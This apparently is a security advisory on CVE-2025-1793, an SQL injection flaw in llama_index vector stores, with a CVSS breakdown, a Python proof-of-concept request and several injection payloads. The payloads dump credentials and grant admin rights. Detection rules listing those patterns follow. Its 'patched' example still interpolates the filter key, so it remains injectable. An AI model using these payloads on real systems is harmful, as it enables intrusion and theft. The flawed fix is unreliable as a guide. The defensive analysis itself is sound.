CVE-2025-1793

Executive Summary

CVE-2025-1793 is a critical SQL injection vulnerability (CVSS 9.8) discovered in multiple vector store integrations within the run-llama/llama_index library, version v0.12.21. This flaw allows an unauthenticated attacker to execute arbitrary SQL commands against the underlying database, leading to unauthorized read and write access. In web application contexts, this can result in data exfiltration, modification, or privilege escalation across user accounts. The vulnerability is currently unpatched, with no official fix or workaround available from the vendor.

Supply Chain & Package Security

This vulnerability affects the PyPI package llama-index (version v0.12.21). Organizations using this package in their Python applications are at risk. Since no patch is available, immediate action is required to mitigate exposure. The package is widely used for building LLM-powered applications, and the vulnerable vector store integrations (e.g., PostgreSQL, MySQL, SQLite) are commonly deployed in production environments.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high base score reflects the ease of exploitation and the severe impact on data confidentiality, integrity, and availability. An attacker can remotely exploit this without authentication, making it a prime target for automated attacks.

Deep Dive & Mechanics

The vulnerability resides in the SQL query construction logic within vector store integrations. The llama_index library uses parameterized queries in most places, but certain vector store backends (e.g., PostgreSQL with pgvector, MySQL, SQLite) fail to sanitize user-supplied input when building SQL statements for similarity search or metadata filtering. Specifically, the _build_query or _filter functions concatenate raw input into SQL strings without proper escaping or parameterization.

For example, when a user provides a metadata filter like {"key": "value"}, the library might generate:

SELECT * FROM documents WHERE metadata->>'key' = 'value'

If value contains SQL injection payloads (e.g., ' OR '1'='1), the query becomes:

SELECT * FROM documents WHERE metadata->>'key' = '' OR '1'='1'

This allows an attacker to bypass filters, extract data from other tables, or perform write operations if the database user has sufficient privileges.

The vulnerable code paths are in modules such as:

• llama_index/vector_stores/postgres.py
• llama_index/vector_stores/mysql.py
• llama_index/vector_stores/sqlite.py

These modules use f-strings or string concatenation to build SQL queries, rather than using parameterized queries or ORM methods.

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.21):

# Example from postgres.py
def _build_filter_query(self, filters: dict) -> str:
    conditions = []
    for key, value in filters.items():
        # VULNERABLE: direct string interpolation
        conditions.append(f"metadata->>'{key}' = '{value}'")
    return " AND ".join(conditions)

Patched Code (hypothetical fix):

# Patched version using parameterized queries
def _build_filter_query(self, filters: dict) -> tuple:
    conditions = []
    params = []
    for key, value in filters.items():
        # SAFE: parameterized placeholder
        conditions.append(f"metadata->>'{key}' = %s")
        params.append(value)
    return " AND ".join(conditions), params

The patched version uses %s placeholders and passes parameters separately, preventing SQL injection. However, no official patch has been released as of this analysis.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of llama_index v0.12.21 with a PostgreSQL vector store.
2. Use the following Python script to test SQL injection:

import requests

# Target endpoint that accepts metadata filters
url = "http://target:8000/query"
payload = {
    "query": "test",
    "filters": {
        "title": "' OR '1'='1' --"
    }
}

response = requests.post(url, json=payload)
print(response.text)

Exploitation Steps:

1. Identify endpoints that accept filters or metadata parameters.
2. Inject SQL commands to extract data:
   • ' UNION SELECT username, password FROM users --
3. For write operations (if database user has INSERT/UPDATE privileges):
   • '; UPDATE users SET admin=1 WHERE id=1 --

Note: No public exploit code is available, but the vulnerability is straightforward to exploit manually.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL queries in database logs, especially those containing OR, UNION, or comment sequences (--, #).
• Look for HTTP requests with suspicious filter parameters (e.g., single quotes, SQL keywords).

Mitigation:

• Immediately isolate any systems running llama_index v0.12.21.
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns in JSON payloads.
• Use database user accounts with least privilege (read-only where possible).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /query or /search endpoints with filters parameter containing SQL keywords.
  • Database connections from unexpected IPs.
• Logs:
  • Database error logs showing syntax errors near unexpected SQL tokens.
  • Application logs showing OperationalError or ProgrammingError from database drivers.
• File System:
  • Unauthorized files created in the application directory (if write access is exploited).

Detection Engineering

YARA Rule

rule CVE_2025_1793_SQLi_llama_index {
    meta:
        description = "Detects SQL injection attempts targeting llama_index vector stores"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-1793"
    strings:
        $sqli1 = /' OR '1'='1/
        $sqli2 = /' UNION SELECT/
        $sqli3 = /'; DROP TABLE/
        $sqli4 = /' --/
        $sqli5 = /' #/
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against llama_index Vector Store
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests to llama_index endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/query'
        http.body|contains:
            - "' OR '1'='1"
            - "' UNION SELECT"
            - "'; DROP TABLE"
            - "' --"
            - "' #"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in metadata values (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1793 SQL Injection Attempt Against llama_index"; flow:to_server,established; content:"POST"; http_method; content:"/query"; http_uri; pcre:"/(\x27 OR \x271\x27=\x271|\x27 UNION SELECT|\x27; DROP TABLE|\x27 --|\x27 #)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable vector store integrations if not essential.
2. Apply input validation to all filter parameters (allow only alphanumeric characters and specific patterns).
3. Use a database proxy (e.g., PgBouncer) with SQL injection detection.
4. Monitor for patches from the vendor (run-llama) and apply immediately when available.

Long-term Fix:

• Upgrade to a patched version once released.
• Replace vulnerable vector stores with secure alternatives (e.g., use ORM-based queries).
• Conduct a code review of all SQL query construction in the application.

Workaround:

• Implement a custom middleware that sanitizes filter inputs before passing to llama_index.

Valters IT
Securing Digital Frontiers